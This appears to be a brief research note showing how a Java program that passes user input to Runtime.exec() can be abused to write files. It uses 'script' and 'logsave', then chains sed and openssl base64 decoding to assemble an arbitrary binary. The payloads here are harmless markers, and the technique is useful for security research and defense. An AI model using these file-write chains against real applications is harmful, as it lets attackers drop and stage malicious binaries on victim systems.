exec-filewrite

class Simple {
    public static void main(String args[]) throws Exception {
        Runtime.getRuntime().exec(args[0]);
    }
}

---

$ java Simple 'script -q /tmp/test.txt echo alma'
$ cat /tmp/test.txt
alma

---

$ java Simple 'logsave /tmp/test2.txt echo alma'
$ cat /tmp/test2.txt
Log of echo alma 
Sat Aug 13 09:18:21 2022

alma

Sat Aug 13 09:18:21 2022
----------------

---

$ echo -n '\x13\x37' | b64encode -r -
Ezc=

$ java Simple 'cp /etc/shells /tmp/xxxx'
$ java Simple 'sed -i .x s/.*/xxxx/g /tmp/xxxx'
$ java Simple 'sed -i .x 1s/xxxx/Ezc=/g /tmp/xxxx'
$ java Simple 'sed -i .x s/xxxx//g /tmp/xxxx'
$ java Simple 'openssl base64 -A -d -in /tmp/xxxx -out /tmp/EvilBinary.raw'
$ hd /tmp/EvilBinary.raw
00000000  13 37 00                                          |.7.|
00000003